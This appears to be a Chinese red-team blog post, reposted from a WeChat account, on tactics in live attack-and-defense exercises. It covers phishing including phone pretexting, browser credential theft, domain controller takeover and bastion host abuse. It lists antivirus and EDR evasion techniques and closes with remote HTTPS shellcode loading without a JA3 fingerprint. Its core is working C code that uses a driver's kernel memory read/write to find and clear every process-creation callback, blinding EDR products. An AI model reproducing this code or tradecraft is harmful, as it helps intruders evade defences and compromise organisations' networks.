-
参与实战的朋友应该有了解,今年的电子签约、统一认证类漏洞比较火 -
这个案例就是打了一个某签约应用的0day,但很快就被流量监控捕获了。这个攻击线路就结束了,可以说还没开始就结束了。 -
然后继续社工钓鱼(免杀--bypass 端侧防护),抓取鱼的浏览器、进一步横向、拿了一些新据点、分析了一些数据和系统,没什么信息了,开始慢慢探测,探测这个行为又被流量捕获了。这条线又被迫结束。【在大攻防期间,防守对抗还是比较有效的,毕竟当期有很多人也在看着监控设备】 -
利用浏览器的密码,定位了知识库(内容类集权)、结合统一身份认证SSO,再次结合内部邮箱、组织架构,给管理员二次钓鱼,钓上来就是域内主机、然后拿下域控权限(多点维权),利用域控的正常管理手段去下发组策略,让运维管理员和应用管理员上线,利用管理权限去登录了堡垒机,然后利用堡垒机的后利用进一步搞定托管的主机,进而拿下靶标权限。
-
0day在强对抗下不一定打成功,0day能保证突破边界,但不能保证内网持久程度; -
终端对抗&流量监控实时进行、减少行为噪音; -
精准社工后打集权是主流手法(毕竟上帝视角并且攻击流量相对比较可信)。
-
钓鱼突破,现在的方式也比较多,正常业务用到什么方式我们就用什么方法,包括邮件、电话、社交、短信、功能等,尤其电话,直接打电话肯定能够制造一种紧迫感。越来越逼近电信诈骗...的手段和技术; -
维持据点现在最多是白利用,当然还是穿插了一些隐匿策略,目的一定是把木马留在内网,可以慢一些,在强对抗模式下求快反而会更慢,木马免杀、权限维持、攻击手法三者相辅相成,其中一个出现问题,都导致木马被踢出;另外我们实战过程也会根据场景去构建,故意让分析人员找到的木马,这样分析人员也觉得有了新的阶段性成果。宗旨是允许被杀、但不能被杀尽。毕竟他如果没有排查出来木马,很可能直接重装,反而我们得损失更大,所以我们需要让他查杀出来。并且让防守分析人员觉得有成就感; -
漏洞攻击,一般如果没有常规的弱口令和漏洞,后面基本上跟前渗透打点过程一样。包括常见的漏洞攻击、Web应用漏洞等, 专项协议的漏洞越来越明显,例如存在一些大端口的专有协议漏洞(二进制相关洞); -
认证的突破,漏洞与认证相辅相成,内网信息收集二次加工和关联,肯定有效果; -
集权类,通过端打总控,然后总控去控制其他端; (上帝视角) -
滚雪球式的横向移动(成果的拓展关联)。
-
静态文件逃逸,常见的方法有:API重写动态加载、免杀壳伪造入口点、SMC(Self-Modifying Code)、细粒度分段加密、基本上主旨思路就是降低“危险值” -
内存特征逃逸,常见的手法有:shellcode内存加密/自解密运行、线程堆栈欺骗、干扰语义分析引擎、虚拟机壳 -
进程行为逃逸,常见的手法有:syscall unhook 反射dll注入、 进程注入 -
EDR致盲的手法:用户态R3的高权限句柄、DOS漏洞;内核态R0的 白签名驱动-终止、自签名驱动任意读写;虚拟化的融合WCIF(新)
HANDLE hDevice = NULL;
HANDLE Process = NULL;
PVOID GetNtoskrnlBase() {
PRTL_PROCESS_MODULES ModuleInfo = (PRTL_PROCESS_MODULES)calloc(1024 * 1024,1);
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, ModuleInfo, 1024*1024, NULL);
if (!NT_SUCCESS(status)) {
return 0;
}
for (int i = 0; i < ModuleInfo->NumberOfModules; i++)
{
if (lstrcmpiA((LPCSTR)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0) {
return ModuleInfo->Modules[i].ImageBase;
}
}
return 0;
}
INT64 GetFuncAddress(CHAR* FuncName) {
PVOID KBase=GetNtoskrnlBase();
if (KBase == 0) {
printf("未找到ntoskrnl.exe基地址n");
return 0;
}
HMODULE ntos = LoadLibraryA("ntoskrnl.exe");
ULONG PocAddress = (ULONG)GetProcAddress(ntos, FuncName);
ULONG Offset = PocAddress - (ULONG)ntos;
return (INT64)KBase+Offset;
}
INT64 GetPspCreateProcessNotifyRoutineArray() {
INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress((CHAR*)"PsSetCreateProcessNotifyRoutine");
if (PsSetCallbacksNotifyRoutineAddress == 0) return 0;
//定位PspSetCreateProcessNotifyRoutine函数地址
INT count = 0;
BYTE* buffer = (BYTE*)malloc(1);
while (1) {
DriverReadMemery((VOID*)PsSetCallbacksNotifyRoutineAddress, buffer,1);
if (*buffer == 0xE8 || *buffer == 0xE9) {
break;
}
PsSetCallbacksNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + 1;
if (count == 200) {
printf("未找到Pspsetcreateprocessnotifyroutine 函数地址n");
return 0;
}
count++;
}
//获取Pspsetcreateprocessnotifyroutine 函数的偏移地址
UINT64 PspOffset = 0;
for (int i = 4, k = 24; i > 0; i--, k = k - 8){
DriverReadMemery((VOID*)(PsSetCallbacksNotifyRoutineAddress + i), buffer, 1);
PspOffset = ((UINT64)*buffer << k) + PspOffset;
}
// 检查符号位
if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
PspOffset = PspOffset | 0xffffffff00000000; // 负偏移情况下的符号扩展
INT64 PspSetCallbackssNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + PspOffset + 5;
//printf("PspSetCallbackssNotifyRoutineAddress: %I64xn", PspSetCallbackssNotifyRoutineAddress);
//获取PspCreateProcessNotifyRoutineArray 数组地址
//寻找lea 指令 来定位数组地址
BYTE SearchByte1 = 0x4C;
BYTE SearchByte2 = 0x8D;
BYTE bArray[3] = {0};
count = 0;
INT64 back = PspSetCallbackssNotifyRoutineAddress;
BOOL stop = FALSE;
while (count <= 200) {
DriverReadMemery((VOID*)PspSetCallbackssNotifyRoutineAddress, bArray, 3);
if (bArray[0] == SearchByte1 && bArray[1] == SearchByte2) {
if ((bArray[2] == 0x0D) || (bArray[2] == 0x15) || (bArray[2] == 0x1D) || (bArray[2] == 0x25) || (bArray[2] == 0x2D) || (bArray[2] == 0x35) || (bArray[2] == 0x3D))
{
break;
}
}
PspSetCallbackssNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + 1;
if (count == 200)
{
SearchByte1 = 0x48;
count = -1;
PspSetCallbackssNotifyRoutineAddress = back;
if (stop)
{
printf("未找到lea 指令,无法定位PspSetCallbackssNotifyRoutineAddress 数组n");
return 0;
}
stop = true;
}
count++;
}
PspOffset = 0;
for (int i = 6, k = 24; i > 2; i--, k = k - 8) {
DriverReadMemery((VOID*)(PspSetCallbackssNotifyRoutineAddress + i), buffer, 1);
PspOffset = ((UINT64)*buffer << k) + PspOffset;
}
if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)
PspOffset = PspOffset | 0xffffffff00000000;
INT64 PspCreateProcessNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + PspOffset + 7;
return PspCreateProcessNotifyRoutineAddress;
}
int main()
{
Process = InitialDriver();
if (!Process) return 0;
INT64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineArray();
if (!PspCreateProcessNotifyRoutineAddress) {
printf("Exit1n");
return 0;
}
printf("PspCreateProcessNotifyRoutineAddress: %I64xn", PspCreateProcessNotifyRoutineAddress);
INT64 buffer = 0;
//展示所有注册进程回调的驱动
printf("注册了进程回调的驱动基地址及其名称: n----------------------------------------------------n");
for (int k = 0; k < 64; k++)
{
DriverReadMemery((VOID*)(PspCreateProcessNotifyRoutineAddress +(k * 8)), &buffer, 8);
if (buffer == 0) continue;
INT64 tmpaddr = ((INT64)buffer >> 4) << 4;
DriverReadMemery((VOID*)(tmpaddr + 8), &buffer, 8);
INT64 DriverCallBackFuncAddr = (INT64)buffer;
DisplayDriverName(DriverCallBackFuncAddr);
}
printf("----------------------------------------------------n以上不保证完全准确n");
//清除全部驱动的进程回调
BYTE* data = (BYTE*)calloc(1, 1);
for (int i = 0; i < 64; i++)
{
DriverReadMemery(data, (VOID*)(PspCreateProcessNotifyRoutineAddress + (i * 8)), 8);
}
printf("[Success] 进程回调清除完成n");
system("pause");
}
-
域名请求过程中,保护CDN的域名。 -
防域名劫持,强行过墙。 -
使用libcurl库顺便实现HTTPS远程加载shellcode,且无JA3指纹特征。 -
使用libcurl库的证书链校验/host校验功能,防止中间人攻击解密HTTPS流量。
原文始发于微信公众号(认知独省):攻防实战策略剖析与对抗博弈
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论